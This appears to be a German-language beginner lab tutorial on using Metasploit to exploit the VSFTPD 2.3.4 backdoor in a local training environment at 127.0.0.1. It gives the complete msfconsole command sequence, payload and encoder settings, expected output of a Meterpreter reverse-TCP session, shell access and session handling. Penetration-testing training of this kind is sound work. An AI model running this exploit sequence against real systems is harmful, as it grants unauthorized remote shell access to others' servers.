Metasploit: Einfache Ausführung eines Exploits

LinuxBeginner
Jetzt üben

Einführung

Willkommen in der Welt des Penetration Testings mit Metasploit! Das Metasploit Framework ist ein leistungsstarkes Open-Source-Tool, das von Cybersicherheitsexperten verwendet wird, um Netzwerke und Server auf Schwachstellen zu prüfen.

In diesem Lab führen wir einen klassischen und unkomplizierten Exploit durch. Wir haben eine simulierte Umgebung eingerichtet, in der ein Server eine anfällige Version des VSFTPD (Very Secure FTP Daemon) ausführt, speziell die Version 2.3.4. Diese spezielle Version enthält eine bekannte Backdoor, die heimlich in den Quellcode eingefügt wurde.

Ihr Ziel ist es, die Metasploit-Konsole (msfconsole) zu verwenden, um ein Exploit für diesen Dienst zu finden, zu konfigurieren und zu starten, um eine Befehls-Shell auf dem Zielsystem zu erhalten. Diese praktische Übung vermittelt Ihnen den grundlegenden Arbeitsablauf bei der Verwendung von Metasploit für die Ausführung eines einfachen Exploits.

Legen wir los!

Auswahl des Exploits für den anfälligen Dienst mit use exploit/unix/ftp/vsftpd_234_backdoor

In diesem Schritt starten Sie die Metasploit-Konsole und wählen das passende Exploit-Modul für die VSFTPD 2.3.4 Backdoor aus. Die msfconsole ist die primäre Schnittstelle für das Metasploit Framework.

Starten Sie zunächst die Metasploit-Konsole. Wir verwenden das Flag -q (quiet), um das Banner zu überspringen und den Start zu beschleunigen.

msfconsole -q

Sobald die Konsole geladen ist, ändert sich Ihr Prompt zu msf >. Nun müssen Sie Metasploit mitteilen, welches Exploit Sie verwenden möchten. Der Befehl use lädt ein spezifisches Modul. Das Modul für die VSFTPD 2.3.4 Backdoor befindet sich unter exploit/unix/ftp/vsftpd_234_backdoor.

Führen Sie den folgenden Befehl in der Metasploit-Konsole aus:

use exploit/unix/ftp/vsftpd_234_backdoor

Nachdem Sie den Befehl ausgeführt haben, werden Sie feststellen, dass Ihr Prompt nun den Namen des ausgewählten Exploit-Moduls enthält. Dies zeigt an, dass das Modul nun aktiv und bereit für die Konfiguration ist.

Je nach Metasploit-Version wird möglicherweise automatisch ein Standard-Payload ausgewählt (z. B. cmd/linux/http/x86/meterpreter_reverse_tcp). Dieser Payload erfordert zwei Einstellungen:

  1. LHOST - Die IP-Adresse, an der Metasploit auf die Reverse-Verbindung wartet. Verwenden Sie für dieses Lab 127.0.0.1:
set LHOST 127.0.0.1
  1. Encoder - Der Standard-Encoder schlägt möglicherweise mit der Meldung "All encoders failed to encode" fehl. Setzen Sie den Encoder auf generic/none, um die Kodierung zu umgehen:
set Encoder generic/none

Festlegen der Ziel-IP mit set RHOSTS target_ip

In diesem Schritt konfigurieren Sie das Exploit, indem Sie die IP-Adresse des Zielhosts festlegen. Die meisten Metasploit-Module erfordern die Angabe eines Ziels. Die Option für den Remote-Zielhost bzw. die Zielhosts lautet RHOSTS.

Da der anfällige FTP-Dienst auf demselben Rechner läuft, auf dem Sie sich befinden (unsere Lab-Umgebung), können Sie die Loopback-IP-Adresse 127.0.0.1 verwenden.

Um diese Option festzulegen, verwenden Sie den Befehl set, gefolgt vom Namen der Option (RHOSTS) und ihrem Wert (127.0.0.1).

Geben Sie den folgenden Befehl in Ihrer msfconsole ein:

set RHOSTS 127.0.0.1

Metasploit bestätigt die Einstellung, indem es die Option und ihren neuen Wert ausgibt.

RHOSTS => 127.0.0.1

Sie haben Metasploit nun mitgeteilt, wohin der Angriff gerichtet werden soll.

Überprüfen der Exploit-Optionen mit show options

In diesem Schritt überprüfen Sie, ob alle erforderlichen Optionen für das Exploit korrekt eingestellt sind, bevor Sie es starten. Dies ist eine wichtige bewährte Methode, um sicherzustellen, dass Ihr Exploit ordnungsgemäß konfiguriert ist.

Der Befehl show options zeigt alle konfigurierbaren Optionen für das aktuell geladene Modul, ihre aktuellen Einstellungen und ob sie erforderlich sind.

Führen Sie den folgenden Befehl in Ihrer msfconsole aus:

show options

Sie sehen eine Tabelle mit den Moduloptionen und Payload-Optionen.

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   21               yes       The target port (TCP)

Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   LHOST    127.0.0.1        yes       The listen address (an interface may be specified)
   LPORT    4444             yes       The listen port
   ...

Beobachten Sie die Ausgabe. Stellen Sie sicher, dass RHOSTS auf 127.0.0.1 und LHOST auf 127.0.0.1 gesetzt ist. Der RPORT ist 21 (FTP). Da alle erforderlichen Optionen gesetzt sind, können Sie fortfahren.

Ausführen des Exploits mit dem Befehl exploit

Nachdem der Exploit nun konfiguriert ist, werden Sie ihn gegen das Ziel ausführen. Der Befehl exploit (der auch als run abgekürzt werden kann) startet den Angriff basierend auf dem aktuellen Modul und den vorgenommenen Einstellungen.

Führen Sie den Exploit aus, indem Sie den folgenden Befehl eingeben und die Eingabetaste drücken:

exploit

FEHLERBEHEBUNG: Falls die Meldung Msf::OptionValidateError One or more options failed to validate: LHOST erscheint, führen Sie set LHOST 127.0.0.1 aus. Sollte die Meldung All encoders failed to encode angezeigt werden, führen Sie set Encoder generic/none aus, um die Kodierung zu deaktivieren. Führen Sie anschließend erneut exploit aus.

WARNUNG: Der erste Versuch schlägt möglicherweise mit der Meldung "Unable to connect to backdoor on 6200/TCP. Cooldown?" oder "Exploit completed, but no session was created." fehl. Sollte dies der Fall sein, führen Sie einfach erneut den Befehl exploit aus – der zweite Versuch sollte erfolgreich sein.

Metasploit versucht nun, die Backdoor auszunutzen. Sie sehen eine detaillierte Ausgabe der Angriffsschritte. Bei Erfolg wird die Backdoor ausgelöst und eine Meterpreter-Sitzung geöffnet.

[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >

Wichtig: Nach erfolgreichem Exploit gelangen Sie in eine Meterpreter-Eingabeaufforderung. Dies ist der erfolgreiche Fernzugriff! Sie können shell ausführen, um eine interaktive Befehlszeile zu erhalten, und anschließend whoami oder id eingeben, um Ihren Zugriff zu bestätigen:

shell
Process 1234 created.
Channel 1 created.
whoami
labex

Herzlichen Glückwunsch, Sie haben erfolgreich Fernzugriff erlangt!

Überprüfen der Sitzung mit sessions -l

In diesem Schritt lernen Sie, wie Sie die aktive Verbindung oder "Sitzung", die Sie gerade geöffnet haben, verwalten. Metasploit ermöglicht es Ihnen, mehrere Sitzungen gleichzeitig geöffnet zu haben und zwischen ihnen zu wechseln.

Um zunächst zum msfconsole-Prompt zurückzukehren, ohne Ihre Sitzung zu schließen, müssen Sie sie in den Hintergrund verschieben. Drücken Sie Ctrl+Z auf Ihrer Tastatur. Wenn Sie sich innerhalb einer Shell befinden (nachdem Sie shell ausgeführt haben), geben Sie y ein, um den Kanal in den Hintergrund zu verschieben – Sie kehren zu meterpreter > zurück. Drücken Sie erneut Ctrl+Z und geben Sie y ein, wenn Sie dazu aufgefordert werden, die Sitzung in den Hintergrund zu verschieben:

Background session 1? [y/N]  y
msf exploit(unix/ftp/vsftpd_234_backdoor) >

Der Befehl sessions funktioniert nur am Haupt-Prompt von Metasploit (msf exploit(...) >), nicht innerhalb von Meterpreter. Sie befinden sich nun wieder am Haupt-Prompt von Metasploit. Um eine Liste aller aktiven Sitzungen anzuzeigen, verwenden Sie den Befehl sessions mit dem Flag -l (list).

sessions -l

Dies zeigt eine Tabelle aller Sitzungen im Hintergrund an, einschließlich ihrer ID, ihres Typs und der Verbindungsinformationen.

Active sessions
===============

  Id  Name  Type                    Information  Connection
  --  ----  ----                    -----------  ----------
  1         meterpreter x86/linux                127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)

Sie sehen Ihre Sitzung mit der ID 1 aufgelistet. Wenn Sie erneut mit ihr interagieren möchten, würden Sie den Befehl sessions -i 1 verwenden. Diese Sitzungsverwaltung ist eine Schlüsselfunktion von Metasploit.

Zusammenfassung

Herzlichen Glückwunsch! Sie haben dieses Lab erfolgreich abgeschlossen und Ihren ersten Exploit mit dem Metasploit Framework durchgeführt.

In diesem Lab haben Sie den grundlegenden Arbeitsablauf eines Penetration Tests mit Metasploit kennengelernt:

  • Starten der Metasploit-Konsole (msfconsole).
  • Auswählen eines spezifischen Exploit-Moduls mit dem Befehl use.
  • Konfigurieren des Ziels des Moduls mit dem Befehl set.
  • Überprüfen der Konfiguration mit show options.
  • Starten des Angriffs mit dem Befehl exploit.
  • Verwalten der resultierenden Verbindung mit sessions.

Dieses grundlegende Muster "Auswählen, Konfigurieren, Exploit ausführen" ist die Basis für fast alle Aktivitäten, die Sie innerhalb von Metasploit durchführen werden. Sie sind nun mit dem Kernwissen ausgestattet, um komplexere Exploits und Payloads zu erforschen.